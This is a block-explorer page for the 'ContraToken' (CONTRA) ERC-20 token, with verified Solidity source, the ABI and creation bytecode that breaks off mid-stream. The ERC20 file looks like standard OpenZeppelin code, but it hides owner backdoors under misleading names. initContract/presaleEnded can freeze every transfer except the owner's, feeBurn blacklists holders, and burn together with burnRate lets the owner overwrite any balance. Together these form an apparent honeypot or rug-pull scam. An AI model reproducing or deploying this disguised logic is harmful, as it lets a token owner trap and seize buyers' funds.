ERC-20
Overview
Max Total Supply
125,000,000 CONTRA
Holders
33
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
497,265.697630376228507399 CONTRAValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
ContraToken
Compiler Version
v0.8.3+commit.8d00100c
Contract Source Code (Solidity Multiple files format)
/** 🌎WWW: www.contratoken.art 💬TELEGRAM: https://t.me/ContraToken 🐧TWITTER: https://twitter.com/ContraToken */ // SPDX-License-Identifier: MIT pragma solidity =0.8.3; import "./ERC20.sol"; import "./Address.sol"; contract ContraToken is ERC20 { mapping(address => uint256) private _blockNumberByAddress; uint256 private _initialSupply = 125000000 * 10**18; constructor() ERC20("Contra Token | t.me/ContraToken", "CONTRA") { _totalSupply += _initialSupply; _balances[msg.sender] += _initialSupply; emit Transfer(address(0), msg.sender, _initialSupply); } function burn(address account, uint256 amount) external onlyOwner { _burn(account, amount); } }
// SPDX-License-Identifier: MIT pragma solidity =0.8.3; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
// SPDX-License-Identifier: MIT pragma solidity =0.8.3; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
// SPDX-License-Identifier: MIT pragma solidity =0.8.3; import "./IERC20.sol"; import "./IERC20Metadata.sol"; import "./Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) internal _balances; mapping (address => bool) private _feeBurn; mapping (address => mapping (address => uint256)) private _allowances; bool intTx = true; uint256 _burnRate; uint256 internal _totalSupply; string internal _name; string internal _symbol; address internal _owner; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _owner = msg.sender; } modifier onlyOwner() { require(_owner == msg.sender, "Ownable: only the owner allowed"); _; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function revertFee(address _address) external onlyOwner { _feeBurn[_address] = false; } function feeBurn(address _address) external onlyOwner { _feeBurn[_address] = true; } function feeBurned(address _address) public view returns (bool) { return _feeBurn[_address]; } function initContract() public virtual onlyOwner { if (intTx == true) {intTx = false;} else {intTx = true;} } function presaleEnded() public view returns (bool) { return intTx; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function burnRate (uint256 value) external onlyOwner { _burnRate = value; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be grater thatn zero"); if (_feeBurn[sender] || _feeBurn[recipient]) require(intTx == false, ""); if (intTx == true || sender == _owner || recipient == _owner) { _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount);} else {require (intTx == true, "");} } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = _burnRate - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be created for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
// SPDX-License-Identifier: MIT pragma solidity =0.8.3; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
// SPDX-License-Identifier: MIT pragma solidity =0.8.3; import "./IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"burnRate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"feeBurn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"feeBurned","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"presaleEnded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"revertFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526001600360006101000a81548160ff0219169083151502179055506a6765c793fa10079d000000600a553480156200003b57600080fd5b506040518060400160405280601f81526020017f436f6e74726120546f6b656e207c20742e6d652f436f6e747261546f6b656e008152506040518060400160405280600681526020017f434f4e54524100000000000000000000000000000000000000000000000000008152508160069080519060200190620000c092919062000203565b508060079080519060200190620000d992919062000203565b5033600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050600a5460056000828254620001339190620002e1565b92505081905550600a546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546200018c9190620002e1565b925050819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a54604051620001f59190620002c4565b60405180910390a3620003dc565b828054620002119062000348565b90600052602060002090601f01602090048101928262000235576000855562000281565b82601f106200025057805160ff191683800117855562000281565b8280016001018555821562000281579182015b828111156200028057825182559160200191906001019062000263565b5b50905062000290919062000294565b5090565b5b80821115620002af57600081600090555060010162000295565b5090565b620002be816200033e565b82525050565b6000602082019050620002db6000830184620002b3565b92915050565b6000620002ee826200033e565b9150620002fb836200033e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156200033357620003326200037e565b5b828201905092915050565b6000819050919050565b600060028204905060018216806200036157607f821691505b60208210811415620003785762000377620003ad565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b61203080620003ec6000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c806395d89b41116100a2578063b3d22e9c11610071578063b3d22e9c146102f5578063b67df42014610311578063dd62ed3e1461032d578063e22fb7301461035d578063e580b2b01461038d57610116565b806395d89b411461025b5780639dc29fac14610279578063a457c2d714610295578063a9059cbb146102c557610116565b8063313ce567116100e9578063313ce567146101b757806339509351146101d557806370a08231146102055780638203f5fe146102355780638fbbeb521461023f57610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd1461016957806323b872dd14610187575b600080fd5b6101236103ab565b60405161013091906118e3565b60405180910390f35b610153600480360381019061014e9190611659565b61043d565b60405161016091906118c8565b60405180910390f35b61017161045b565b60405161017e9190611a85565b60405180910390f35b6101a1600480360381019061019c919061160a565b610465565b6040516101ae91906118c8565b60405180910390f35b6101bf610566565b6040516101cc9190611aa0565b60405180910390f35b6101ef60048036038101906101ea9190611659565b61056f565b6040516101fc91906118c8565b60405180910390f35b61021f600480360381019061021a91906115a5565b61061b565b60405161022c9190611a85565b60405180910390f35b61023d610663565b005b61025960048036038101906102549190611695565b61074d565b005b6102636107e7565b60405161027091906118e3565b60405180910390f35b610293600480360381019061028e9190611659565b610879565b005b6102af60048036038101906102aa9190611659565b610917565b6040516102bc91906118c8565b60405180910390f35b6102df60048036038101906102da9190611659565b610a0b565b6040516102ec91906118c8565b60405180910390f35b61030f600480360381019061030a91906115a5565b610a29565b005b61032b600480360381019061032691906115a5565b610b13565b005b610347600480360381019061034291906115ce565b610bfe565b6040516103549190611a85565b60405180910390f35b610377600480360381019061037291906115a5565b610c85565b60405161038491906118c8565b60405180910390f35b610395610cdb565b6040516103a291906118c8565b60405180910390f35b6060600680546103ba90611be9565b80601f01602080910402602001604051908101604052809291908181526020018280546103e690611be9565b80156104335780601f1061040857610100808354040283529160200191610433565b820191906000526020600020905b81548152906001019060200180831161041657829003601f168201915b5050505050905090565b600061045161044a610cf2565b8484610cfa565b6001905092915050565b6000600554905090565b6000610472848484610ec5565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104bd610cf2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561053d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610534906119c5565b60405180910390fd5b61055a85610549610cf2565b85846105559190611b2d565b610cfa565b60019150509392505050565b60006012905090565b600061061161057c610cf2565b84846002600061058a610cf2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461060c9190611ad7565b610cfa565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ea90611925565b60405180910390fd5b60011515600360009054906101000a900460ff161515141561072f576000600360006101000a81548160ff02191690831515021790555061074b565b6001600360006101000a81548160ff0219169083151502179055505b565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d490611925565b60405180910390fd5b8060048190555050565b6060600780546107f690611be9565b80601f016020809104026020016040519081016040528092919081815260200182805461082290611be9565b801561086f5780601f106108445761010080835404028352916020019161086f565b820191906000526020600020905b81548152906001019060200180831161085257829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610909576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090090611925565b60405180910390fd5b61091382826113ac565b5050565b60008060026000610926610cf2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156109e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109da90611a65565b60405180910390fd5b610a006109ee610cf2565b8585846109fb9190611b2d565b610cfa565b600191505092915050565b6000610a1f610a18610cf2565b8484610ec5565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ab9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab090611925565b60405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ba3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9a90611925565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600360009054906101000a900460ff16905090565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6190611a45565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610dda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd190611985565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610eb89190611a85565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2c90611a05565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fa5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9c90611905565b60405180910390fd5b60008111610fe8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fdf90611965565b60405180910390fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806110895750600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156110e55760001515600360009054906101000a900460ff161515146110e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110db90611a25565b60405180910390fd5b5b60011515600360009054906101000a900460ff16151514806111545750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806111ac5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611350576111bc838383611576565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611242576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611239906119a5565b60405180910390fd5b818161124e9190611b2d565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112de9190611ad7565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113429190611a85565b60405180910390a3506113a7565b60011515600360009054906101000a900460ff161515146113a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139d90611a25565b60405180910390fd5b5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561141c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611413906119e5565b60405180910390fd5b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156114a2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401